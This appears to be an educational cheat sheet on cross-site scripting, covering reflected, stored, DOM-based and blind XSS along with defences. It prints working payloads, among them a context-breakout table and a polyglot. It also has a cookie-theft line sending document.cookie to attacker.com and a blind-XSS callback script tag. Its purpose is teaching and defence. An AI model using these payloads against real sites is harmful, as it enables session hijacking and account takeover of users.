Cross-Site Scripting (XSS

1. Core Concept

Definition: XSS is a code injection vulnerability where an attacker executes malicious JavaScript in the victim's browser. **Root Cause:** The application treats user input as **code** instead of **text**. **The Violation:** It exploits the trust a browser has in the content served by the website. If the site says `<script>`, the browser obeys.

---

2. Taxonomy (The Three Types)

A. Reflected XSS (Non-Persistent)

- **Mechanism:** The payload is injected into a request (usually a URL parameter) and immediately returned (reflected) by the server in the response.
- **Vector:** Phishing links. The victim **must** click a link.
- **Flow:** User Click -> Server Receives Payload -> Server Reflects Payload in HTML -> Browser Executes.
- **Example:** Search bars, error messages.

```
http://target.com/search?q=<script>alert(1)</script>
```

B. Stored XSS (Persistent)

- **Mechanism:** The payload is saved (stored) in the database and served to **anyone** who views the page.
- **Vector:** Comments, Profile Bios, Forum Posts.
- **Flow:** Attacker POSTs Payload -> Database Saves it -> Victim Views Page -> DB Serves Payload -> Browser Executes.
- **Impact:** Critical. One injection affects thousands of users (Mass Exploitation).

C. DOM-Based XSS

- **Mechanism:** The vulnerability exists entirely in the **client-side code**. The payload never touches the backend server.
- **Flow:** Source (URL/Input) -> Client-side JS processes data -> Sink (Execution Point) -> Browser Executes.

- **Sources:** `location.hash`, `window.name`, `document.referrer`.
- **Sinks:** `innerHTML`, `document.write`, `eval()`.
- **Example:**

```
// Vulnerable JS
var search = location.hash.substring(1);
document.getElementById('results').innerHTML = search; // Payload executes
here
```

3. The Contexts (Where Injection Happens)

You cannot just spam `<script>alert(1)</script>`. You must break the context.

Context	Location	Breakout Strategy	Example Payload
HTML Body	`<div>[INPUT]</div>`	Insert raw tags	`<script>alert(1)</script>`
Attribute	`<input value="[INPUT]">`	Close quote & add handler	`"><img src=x onerror=alert(1)>`
JavaScript	`<script>var x = '[INPUT]';</script>`	Close string & statement	`'; alert(1); //`
Href	`<a href="[INPUT]">`	Use Protocol Wrapper	`javascript:alert(1)`

4. The Impact (Kill Chain)

XSS is not just about popping `alert(1)`. It is a gateway to full account takeover.

1. **Cookie Theft (Session Hijacking):** Stealing `document.cookie` to impersonate the user.

```
fetch('http://attacker.com/?cookie=' + document.cookie)
```

2. **Keylogging:** Registering event listeners to capture keystrokes and send them to a C2.
3. **CSRF via XSS:** Forcing the browser to make requests (e.g., changing password) using the victim's session.
4. **Phishing:** Injecting fake login forms directly into the trusted page.
5. **Browser Exploitation:** Using XSS to hook the browser (BeEF Framework) or deliver browser-based exploits.

---

5. Defense (Mitigation)

A. Output Encoding (The Silver Bullet)

Convert special characters into their HTML entity equivalents **before** rendering them. This forces the browser to treat data as text, not code.

- `<` becomes `&lt;`
- `>` becomes `&gt;`
- `"` becomes `&quot;`
- `'` becomes `&#x27;`

B. Content Security Policy (CSP)

An HTTP header that allows site operators to restrict the resources (JavaScript, CSS, Images) that the browser is allowed to load.

- **Strict CSP:** `default-src 'self'; script-src 'self' https://trusted-cdn.com`
- **Effect:** Even if an attacker injects `<script src=attacker.com/evil.js>`, the browser will refuse to load it.

C. HttpOnly Cookies

Flagging session cookies as `HttpOnly` prevents JavaScript (`document.cookie`) from reading them, mitigating Session Hijacking (though CSRF is still possible).

---

6. Blind XSS (The Red Team Special)

A variant of Stored XSS where the payload triggers in an environment you cannot see (e.g., an Admin Panel or Support Ticket system).

- **Scenario:** You submit a "Support Ticket" with a payload.
- **Trigger:** 3 days later, an Admin opens the ticket dashboard.
- **Payload:** Must be an "Out-of-Band" payload that calls back to your server (e.g., XSS Hunter).

```
<script src=//yoursite.xss.ht></script>
```

7. Essential Cheatsheet (The "Ammo")

- **The Classic:** `<script>alert(1)</script>`

- **Image Vector (No Script Tags):** `<img src=x onerror=alert(1)>`
- **SVG Vector:** `<svg/onload=alert(1)>`
- **Polyglot (Breaks multiple contexts):**

```
javascript://%250Aalert(1)//"/*\'/*"/*--></Title/</Script/--><img src=x
onerror=alert(1)>
```
